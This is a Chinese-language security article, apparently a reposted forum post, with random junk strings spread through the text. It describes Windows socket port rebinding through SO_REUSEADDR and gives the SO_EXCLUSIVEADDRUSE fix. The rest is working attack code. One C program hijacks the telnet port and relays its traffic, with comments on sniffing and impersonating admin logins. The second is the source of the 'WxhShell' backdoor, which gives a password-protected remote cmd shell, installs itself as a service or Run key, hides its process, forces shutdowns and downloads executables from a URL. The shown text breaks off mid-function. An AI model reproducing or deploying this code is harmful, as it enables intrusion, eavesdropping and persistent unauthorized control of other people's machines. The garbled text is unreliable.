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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kT@m*Etr{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?IN'Dc9&%- 24g\xNnt saddr.sin_family = AF_INET; $a@T:zfe v3*y43 saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZXJ]== |>Ld'\i8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9mmkFaBQ KD<smwXjG 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4 ZUTF3 2\4ammwT 这意味着什么?意味着可以进行如下的攻击: 04j]W]8# =~D QX\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5n0B`A Sux/=' 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gR\z#Sg MQ#nP_i 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _\2Ae\&c
}OsAO 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 h&|S* ShIJ6LZ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?5IF;vk !=3Ce3- 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p{vGc-zP. _Xqa_6+/ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 '5)PYjMnH 1u~CNHm #include sk%Xf, #include Vsj1!}X: #include XsEotW #include 3LkcK1x. DWORD WINAPI ClientThread(LPVOID lpParam); =#Z+WD-E int main() o*t4zF&n { j&N {j_M WORD wVersionRequested; im&Nkk4n@ DWORD ret; )ep1`n- WSADATA wsaData; Q M) ob BOOL val; 5(\H:g\z SOCKADDR_IN saddr; mx!EuF$I SOCKADDR_IN scaddr; 8}?wi[T int err; 2JhE`EVH SOCKET s; /prR;'ks SOCKET sc; w7%.EA{N int caddsize; <-h[I&." HANDLE mt; {y%|Io`P DWORD tid; '>^!a!<G wVersionRequested = MAKEWORD( 2, 2 ); !jTxMf
err = WSAStartup( wVersionRequested, &wsaData ); %Q080Ltet if ( err != 0 ) { ?8/T#ox printf("error!WSAStartup failed!\n"); hh[@q*C return -1; !{+a2wi } 1\X_B`xwD saddr.sin_family = AF_INET; .
#FJM2Xk Y6[O
s1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 m S4N%Q 'Ul^V saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lD#S:HX saddr.sin_port = htons(23); xE5VXYU if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b{Bef*`/ { xFzaVjjP printf("error!socket failed!\n"); q&kG> return -1; eyzXHS*s;L } i )!+`w*Y val = TRUE; =x@v{cP //SO_REUSEADDR选项就是可以实现端口重绑定的 YD,<]q% if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0JXXJ:d B { [$D%]]/, printf("error!setsockopt failed!\n"); @b9qBJfQ return -1; 7NMy1'-q } 3(,c^F //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bs_< UE //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %D49A-R //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y_FQB K U 4g)$(5jI} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !DkIM}. { F|&%Z(@a ret=GetLastError(); 4d8}g25C printf("error!bind failed!\n"); :I2spBx return -1; ) E*- } B.4Or] listen(s,2); 98Y1-Z^ . while(1) fP/;t61Z { ;3\'}2^|l caddsize = sizeof(scaddr); 8xt8kf*k //接受连接请求 wCEcMVT sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n+1`y8dy if(sc!=INVALID_SOCKET) Rjn%<R2nW { E^B3MyS^^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); b=kY9!GN,v if(mt==NULL) "9IR| { X2mZ~RB(p printf("Thread Creat Failed!\n"); gbu*6&j9 break; q\/xx`L } fC+tu>= } +fN2%aC CloseHandle(mt); ?!u9=?? } OyQ[}w3o| closesocket(s); s{:Thgv,9 WSACleanup(); |*g\-2j{ return 0; tN;^{O-(V } sitgz)Ki^ DWORD WINAPI ClientThread(LPVOID lpParam) rrSFmhQUk { ^[VEr"X SOCKET ss = (SOCKET)lpParam; e\._M$l SOCKET sc; K_fJ{Vc>O unsigned char buf[4096]; Flaqgi/j SOCKADDR_IN saddr; \rY\wa long num; e>Dux DWORD val; E %?>
%h DWORD ret; Xdh@ ^` //如果是隐藏端口应用的话,可以在此处加一些判断 ;;N#'.xD //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 +4F; m_G6 saddr.sin_family = AF_INET; _^D -nk? saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rX22%~1 saddr.sin_port = htons(23); LX}|%- iv if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y*E{X { G_}oI|B printf("error!socket failed!\n"); Ckhwd return -1; AZ
SaI } ,xutI val = 100; L7"<a2J if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C'PHbo: { lNMJcl3 ret = GetLastError(); 2RdpVNx\y return -1; `)NTJc$): } CdKs+x&tZ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TA+#{q+a { "?6R"Vk?: ret = GetLastError(); f\;f&GI return -1; m4^VlE,`Dh } 4{h^O@*g if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p7L6~IN { Jw^h<z/Ux printf("error!socket connect failed!\n"); |!J_3*6$>* closesocket(sc); y!x-R!3 closesocket(ss); ]d*O>Pm return -1; p
~)\! } GL^
j
|1 while(1) Uv(}x7e) { P0rdGf 5T //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 knzQ)iv&& //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]''tuo2g8 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bd3>IWihp num = recv(ss,buf,4096,0); #fFD|q if(num>0) tPDB'S:&3 send(sc,buf,num,0); X^C $|: else if(num==0) ]j.!
break; m|[cEZxHB num = recv(sc,buf,4096,0); }mS
Q!"f: if(num>0) ltHuN;C\ send(ss,buf,num,0); iig&O(, else if(num==0) !v*#E{r"g= break; [-\DC*6 } jRp @-S#V closesocket(ss); ]0pI6" closesocket(sc); DvTbt?i[ return 0 ;
aqwW`\ } \rCdsN 2H BbI),iP }dSFv
========================================================== Y5TBWcGU% (CE2]Nv9") 下边附上一个代码,,WXhSHELL .yb8<q s s%?<:9 ========================================================== V{{UsEVO WX+@<y}% #include "stdafx.h" t5QGXj FYK}AR<= #include <stdio.h> ve4QS P #include <string.h> *T{KpiuP #include <windows.h> Q8DKU #include <winsock2.h> )EG-xo@X #include <winsvc.h> xH-} <7 #include <urlmon.h> 5;9.&f )' 2vUt`_7 #pragma comment (lib, "Ws2_32.lib") 5hB2:$C #pragma comment (lib, "urlmon.lib") $-)y59w" qt%/0 #define MAX_USER 100 // 最大客户端连接数 UL" <V #define BUF_SOCK 200 // sock buffer T{T> S%17~ #define KEY_BUFF 255 // 输入 buffer 3iiOxg?j hflDVGBW #define REBOOT 0 // 重启 +7K]5p;!~ #define SHUTDOWN 1 // 关机 Uzk_ae cr{dl\Na #define DEF_PORT 5000 // 监听端口 hy:K) _
CzT_$v_ #define REG_LEN 16 // 注册表键长度 Vb2")+*: #define SVC_LEN 80 // NT服务名长度 *c@]c~hY, &J=x[{R // 从dll定义API S*rc XG6Q^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YGLR%PYv" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b$FXRR\G typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F,XJGD* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UOIZ8Po td+[Na0d // wxhshell配置信息 1 z[blNs& struct WSCFG { tQ4{:WPG int ws_port; // 监听端口 ,I[A~ char ws_passstr[REG_LEN]; // 口令 8\Eq(o}7 int ws_autoins; // 安装标记, 1=yes 0=no 7M9s}b%? char ws_regname[REG_LEN]; // 注册表键名 3*b!]^d:D char ws_svcname[REG_LEN]; // 服务名 &S#bLE char ws_svcdisp[SVC_LEN]; // 服务显示名 $w<~W1\: char ws_svcdesc[SVC_LEN]; // 服务描述信息 }Z\+Qc<< char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QLTE`t5w3' int ws_downexe; // 下载执行标记, 1=yes 0=no g? \pH:|79 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" {c$%3iQq char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B Zw#ACU _d<\@Tkw }; #60<$HO:Z 4>@-1nt} // default Wxhshell configuration KL*UU,qU struct WSCFG wscfg={DEF_PORT, k?=V?JWY "xuhuanlingzhe", Iyvl6 1, SHPZXJ{ "Wxhshell", \'N|1!EO|t "Wxhshell", d>7bwG+k "WxhShell Service", iAWoKW "Wrsky Windows CmdShell Service", on1mu't_; "Please Input Your Password: ", K#p&XIY, 1, FdJC@Y-#uA " http://www.wrsky.com/wxhshell.exe", ?|Mmz@ "Wxhshell.exe" Py,@or7n }; RwwX;I"o% :Zd# }P // 消息定义模块 wwmODw<tT char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DSHpM/7 char *msg_ws_prompt="\n\r? for help\n\r#>"; (.3L'+F char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r";
?hpk)Qu char *msg_ws_ext="\n\rExit."; XC{(O:EG char *msg_ws_end="\n\rQuit."; }c,}+{q char *msg_ws_boot="\n\rReboot..."; iJE|u char *msg_ws_poff="\n\rShutdown..."; 'C*NyHc char *msg_ws_down="\n\rSave to "; -/&6}lD VbX$i!>8 char *msg_ws_err="\n\rErr!"; `o*g2fW! char *msg_ws_ok="\n\rOK!"; |wj/lX7y egi?Qg char ExeFile[MAX_PATH]; 2jx+q int nUser = 0; z95V 7E HANDLE handles[MAX_USER]; Bf88f<Z int OsIsNt; y]\R0lR J0|}u1?l SERVICE_STATUS serviceStatus; wGQ{ SERVICE_STATUS_HANDLE hServiceStatusHandle; Dl/_jM 73(T+6` // 函数声明 "$8<\k$LGT int Install(void); &f qmO>M int Uninstall(void); ;3sT>UB int DownloadFile(char *sURL, SOCKET wsh); U^0vLyqW^5 int Boot(int flag); |,&!Q$<un void HideProc(void); RN:#+S(8 int GetOsVer(void); *id|za|:k int Wxhshell(SOCKET wsl); FZmYv%J void TalkWithClient(void *cs); (^Do#3 int CmdShell(SOCKET sock); 0QIocha int StartFromService(void); Bv@m)$9\+3 int StartWxhshell(LPSTR lpCmdLine); y$V{yh[: NI s4v(! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @4B2O"z` VOID WINAPI NTServiceHandler( DWORD fdwControl ); cmN0ya L{fP_DIa // 数据结构和表定义 UmgLH Cz SERVICE_TABLE_ENTRY DispatchTable[] = xD?{Hw>QT# { ,em6wIq, {wscfg.ws_svcname, NTServiceMain}, p r0V) C6 {NULL, NULL} PewPl0 }; X7c*T / Yhw* `"X // 自我安装 8rp-XiW int Install(void) = xX^ { BK d( char svExeFile[MAX_PATH]; \
bT]?.si HKEY key; EJtU(HmW strcpy(svExeFile,ExeFile); Z#MODf0H@ 'HcDl@E // 如果是win9x系统,修改注册表设为自启动 5!ReW39c; if(!OsIsNt) { F5<{-{Ky if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u\.sS|$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f|^f^Hu:{ RegCloseKey(key); }Rux<=cd| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N[+dX_h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=;/h{
t RegCloseKey(key); usTCn3u return 0; MM8)yCI } };!c]/, } B=c^ma } NJtB ; else { eu:_V+ ;W*$<~_ // 如果是NT以上系统,安装为系统服务 (
L6`_) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #*]=
%-A if (schSCManager!=0) `A^} X { TQ2Tt" SC_HANDLE schService = CreateService 8c|IGC ( \%Smp2K schSCManager, G\NCEE'A wscfg.ws_svcname, +Ae.>%} wscfg.ws_svcdisp, >SGSn/AJi SERVICE_ALL_ACCESS, 7z,M`14 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hW+Dko(s SERVICE_AUTO_START, Mk9kGP% SERVICE_ERROR_NORMAL, x/S% NySG svExeFile, tQ}gBE63 NULL, HYH!; NULL, ?3Fo:Z`@F NULL, NR[mzJv NULL, n|*V
8VaL NULL E37@BfpO3 ); &L?Dogo if (schService!=0) &sRJ'oc { 5~X%*_[], CloseServiceHandle(schService); d#tUG~jc CloseServiceHandle(schSCManager); M:SxAo-D2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 09?<K)_G strcat(svExeFile,wscfg.ws_svcname); ?hu 9c if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yN o8R[M RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UiEB?X]-l' RegCloseKey(key); |#B"j1D,H return 0; 7A|jnm } 4>E2G: } @&W?e?O ~G CloseServiceHandle(schSCManager); C(P$,;6 } ~<U3KB } Z7/dRc
{L eEnh- return 1; m&%b;%,J } \nyFN s?E: ] // 自我卸载 X m3t
xp# int Uninstall(void) >?'FH +2K { ;~bn@T- HKEY key; :jX~]1hpmA >g2B5KY if(!OsIsNt) { .-ABo]hf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 31C]TdJ RegDeleteValue(key,wscfg.ws_regname); ES2qX]I RegCloseKey(key); l!=WqIZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;R!H\ RegDeleteValue(key,wscfg.ws_regname); #50)D wD RegCloseKey(key); 8(D}y\ return 0; 7. .vaq# } K0g:Q*J- } j5O*H_D } \d+HYLAJn else { bH{aI:9Fb [s2V-'2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
c$|dK if (schSCManager!=0) }BrE|'.j' { gNd
J=r4 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -!cAr
< if (schService!=0) b9N4Gr { o%%fO if(DeleteService(schService)!=0) { |7$h@KF=S CloseServiceHandle(schService); \G@6jn1G( CloseServiceHandle(schSCManager); wVOL7vh return 0; uLM_KZ } +CT$/k CloseServiceHandle(schService); 5uer
[1A } }A7qIys$4 CloseServiceHandle(schSCManager); /8>/"Z2S } 0Y2^}u@5 } [BBKj)IK F/SsiUBS return 1; Cpcd`y=IN } 0AKwZ'
&H E3skC%} // 从指定url下载文件 |mmG
s int DownloadFile(char *sURL, SOCKET wsh) He!!oKK> {
A*~1Uz\t HRESULT hr; lKUm_; m char seps[]= "/"; %},G(> char *token; \2xBOe-a] char *file; J\'5CG char myURL[MAX_PATH]; rb'Gve W[ char myFILE[MAX_PATH]; jSYg\Z5! O97bgj] strcpy(myURL,sURL); })lT fy token=strtok(myURL,seps); YXVJJd$U while(token!=NULL) 3{:<z4>{ { rcmAVl:$> file=token; &;U7/?Q token=strtok(NULL,seps); ~UC/|t$ } zD;]
sk4 Te}yQ= + GetCurrentDirectory(MAX_PATH,myFILE); !u}3H|6~ strcat(myFILE, "\\"); J*!:ar strcat(myFILE, file); ;-GzGDc~0 send(wsh,myFILE,strlen(myFILE),0); bTGK@~ send(wsh,"...",3,0); FraW6T}_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d$rUxqB. if(hr==S_OK) o}+Uy return 0; 78CJ else |u r~s$8y- return 1; YB~t|m65 j(C
UYm } ~<-
ci V?59.TJ // 系统电源模块 uyt-q|83= int Boot(int flag) :wZ`>,K"t> { B"9hQb HANDLE hToken; iv+jv2ZF% TOKEN_PRIVILEGES tkp; j&
iL5J; Q@wq
}vc! if(OsIsNt) { P`dHR;Y0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @) ZO$h LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `F\:XuY tkp.PrivilegeCount = 1; mv*T=N8fC tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kj!7|1i2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Au} ;z6k if(flag==REBOOT) { vj&5` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4t
Nv q return 0; h+~df(S. } _G[I2] else { *;e@t4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h<1dTl* return 0; $7&l6~sMQ } 5f'g3' } |8c:+8 else { &^n>ZY, if(flag==REBOOT) { rk,1am:cg if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g~c|~u(W return 0; Tj21YK.mk } &s^>S?L- else { Ogke*qM if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %y\eBfW,/ return 0; RC{Z)M{~ } aXbNDj
][ } n_aNs]C9R W0MnGzZ return 1; 04guud } } 2Uv3_i< `X<`j6zaG // win9x进程隐藏模块 [s{r$!Gl void HideProc(void) r7"A u" { dH2]ZE0V gO:Z6}3vM HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'uf2
nUo if ( hKernel != NULL ) [j}7 @Mr`\ { xR|eye R pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .z$Sm ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3P#+)
F~ FreeLibrary(hKernel); 5`"*y iv } $FQcDo|[ xw+<p return; Km9}^*Mo% } ,t%CK!8 <Hh5u~ // 获取操作系统版本 `[@^m5?b- int GetOsVer(void) te;Ox!B& { @0ov!9]Rw- OSVERSIONINFO winfo; &cu] vw winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *hZ~i{c,7 GetVersionEx(&winfo); ;Lsjh# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GL5^_`n return 1; i9;27tT~< else }*.:Hv" return 0; j!S1Y0CV } 'l'
X^LMD 0n*rs=\VG // 客户端句柄模块 VZ2.w4b int Wxhshell(SOCKET wsl) Bzu(XQ { /1 US, SOCKET wsh; pymx\Hd, struct sockaddr_in client; ?..i 4 DWORD myID; ]PlY}VOY K=tx5{V while(nUser<MAX_USER) 8Da(tS { 18.Y/nZAgQ int nSize=sizeof(client); f^!11/Wv wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Yz2{LW[K if(wsh==INVALID_SOCKET) return 1; 2{mY:\ |I}A>XG handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Kd/[Bs% if(handles[nUser]==0) Ehb?CnV#J closesocket(wsh); T/wM(pr'
else Mu'^OX82 nUser++; +MNSZLP] } P?q
G WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {5QosC+o6Q H}h~~7E return 0; 0
OAqA?Z } M)"]$TM !K3i-zY // 关闭 socket DYo<5^0 void CloseIt(SOCKET wsh) wi\z>'R { Y_[g_ closesocket(wsh); 068WlF cWV nUser--; oUQGLl!V ExitThread(0); ;'=VrE6 } X2\E9hJg X)Dqeb6 // 客户端请求句柄 UsLh)#}h void TalkWithClient(void *cs) "JzfL(yt { /&D'V_Q`* v#<\:|XAg SOCKET wsh=(SOCKET)cs; %"l81z char pwd[SVC_LEN]; M'cJ)-G char cmd[KEY_BUFF]; uX[O,l^} char chr[1]; e1%rVQ(v int i,j; g|ql 5jW FNz84qVIx' while (nUser < MAX_USER) { YO@hE> n 5~=qQK2 if(wscfg.ws_passstr) { CgVh\4,a if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s.^c..e75C //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *nYB o\@g //ZeroMemory(pwd,KEY_BUFF); K4j@j}zK9I i=0; +jq
2pFQ while(i<SVC_LEN) { gI)w^7Gi <K.Bq] // 设置超时 I:F'S# fd_set FdRead; EvwbhvA( struct timeval TimeOut; cy1\u2x_` FD_ZERO(&FdRead); A#Xj]^-* FD_SET(wsh,&FdRead); 4id3P{aU TimeOut.tv_sec=8; i^je.,Bi TimeOut.tv_usec=0; 'rS'B.D int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WYSck&9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cwu$TP A> L3B8IDq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C0\%QXu pwd =chr[0]; t-!Rgg$9 if(chr[0]==0xd || chr[0]==0xa) { Z,0O/RFJ.q pwd=0; /K_ i8!y break; :~t<L%tYF } qPsyqn?Y| i++; UG6M9 } xe(MHNrj oz%h)#; // 如果是非法用户,关闭 socket /"(b.& if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wX-RQ[2X } myD{sE2A 1 h<fJzh send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'To<T send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3QCMK^#Z: nc<qbN while(1) { %v]7BV^%6 De;, =BSp ZeroMemory(cmd,KEY_BUFF); mH'\:oN =fo4x|{O // 自动支持客户端 telnet标准 G-2EQ. j=0; DZJeup?Z while(j<KEY_BUFF) { (F_w>w.h if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DeA @0HOxh cmd[j]=chr[0]; }g}6qCv7 if(chr[0]==0xa || chr[0]==0xd) { 3nwz<P cmd[j]=0; !loO%3_) break; <E"*)Oi } lNHNL
a>W j++; yHl@_rN
sC } M6\7FP6G @|^jq // 下载文件 Z%Vr+)!4 if(strstr(cmd,"http://")) { ?hKm&B;d send(wsh,msg_ws_down,strlen(msg_ws_down),0); pw!@Q?R if(DownloadFile(cmd,wsh)) {n\6BTs send(wsh,msg_ws_err,strlen(msg_ws_err),0); !2(.$}E else Cq gJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yP
x\ltG3 } 2.]~*7
else { Y]~IY?I Bk+{} switch(cmd[0]) { P2>:p%Z SAP;9*f1\ // 帮助 8AryIgy>@ case '?': { D^nxtuT* send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >Z}@7$(7!~ break; B-$+UE>% } XHy? // 安装 }bp.OV-+ case 'i': { 3a%xn4P if(Install()) 5|CzX X#U send(wsh,msg_ws_err,strlen(msg_ws_err),0); U>oW~Z else 0k%hY{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'X54dXS?l break; Bn{)|&; } E$w#+.QP // 卸载 RXM}hqeG case 'r': { am2a#4` if(Uninstall()) A$Wx#r7) send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0EyAMu else 691G15 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]s_@n! break; X\kjAMuW/* } NK~PcdGl // 显示 wxhshell 所在路径 k9l^6#<? case 'p': { *=TYVM9 char svExeFile[MAX_PATH]; xLZ bU4 strcpy(svExeFile,"\n\r"); ZlrhC= 0 strcat(svExeFile,ExeFile); s*f1x N< send(wsh,svExeFile,strlen(svExeFile),0); !\ZcOk2 break; ( :iPm< } J=@xAVBc // 重启 |f<9miNu case 'b': { V7BsE w send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f -7S:, if(Boot(REBOOT)) S4)A6z$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); kAeNQRjR else { KYf;_C,$ closesocket(wsh); fL2^\dB; ExitThread(0); $5x]%1R } g#}tm< break; 9Yn)t#G'`F } y=#j`MH{> // 关机 W]zwghxH case 'd': { .ots?Ns send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w
[L&* if(Boot(SHUTDOWN)) 1#]B^D send(wsh,msg_ws_err,strlen(msg_ws_err),0); J]dW1boT@ else { ~?CS_B * closesocket(wsh); *.o"ZVl ExitThread(0); 3+%nn+m } z<i,D08|d break; ;7L ; } 3
&Sp@, // 获取shell =D5wqCT(Q case 's': { |WBZN1W) CmdShell(wsh); Z B$NVY closesocket(wsh); pu#[pa
ExitThread(0); HJ",Sle break; =6fB*bNk] } ~{$L9;x // 退出 .+HcA x{/2 case 'x': { )O&z5n7t4s send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >C*4_J7 CloseIt(wsh); ~@@
Z|w break; !UVk9 } \OT6L'l], // 离开 $cu]_gu case 'q': { +X[8wUm|^ send(wsh,msg_ws_end,strlen(msg_ws_end),0); SwX@I6huM closesocket(wsh); n7S;
Xve# WSACleanup(); djfU:$!j& exit(1); >9MS"t break; I3PQdAs~&h } *x!LKIpv } UhdqY] } :T5A84/C Fo(y7$33* // 提示信息 uRpBeH]Z" if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S2Vx e@b) } T6X}Ws " } Cx,-_ <S&]$?`{Wi return; 5e8xKL } p(?g- )'t&q/Wn // shell模块句柄 5D
L,U(Y int CmdShell(SOCKET sock) 8gAu7\p} { )P%4:P STARTUPINFO si; XfDX:b1p ZeroMemory(&si,sizeof(si)); M9DgO4xl si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?M~
k$ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S eOy7 PROCESS_INFORMATION ProcessInfo; D7gHE char cmdline[]="cmd"; ,\x$q' CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tpZ->)1 return 0; Wj tft% } 4kh8W~i;/ _@K YF) // 自身启动模式 7f*
RM int StartFromService(void) r>O|L%xpv { \OY}GRKt typedef struct tpGCrn2w> { |EEi&GOR(y DWORD ExitStatus; ]'g:B p DWORD PebBaseAddress; O"iak DWORD AffinityMask; >jKjh!`)!e DWORD BasePriority; 1mix+.d ULONG UniqueProcessId; XL~>rw< ULONG InheritedFromUniqueProcessId; |T
y=7d , } PROCESS_BASIC_INFORMATION; G1[(F`t> p#=;)1 PROCNTQSIP NtQueryInformationProcess; EZ{\D!_Y +q-c8z static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]!faA\1 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LQ>$>A( 6n,xH!7 HANDLE hProcess; t\%%d)d9 PROCESS_BASIC_INFORMATION pbi; *:S~C `2e_ L HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -N4z-ozhC if(NULL == hInst ) return 0; GXYj+ qJ @,e8t BL g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #9,=Owup
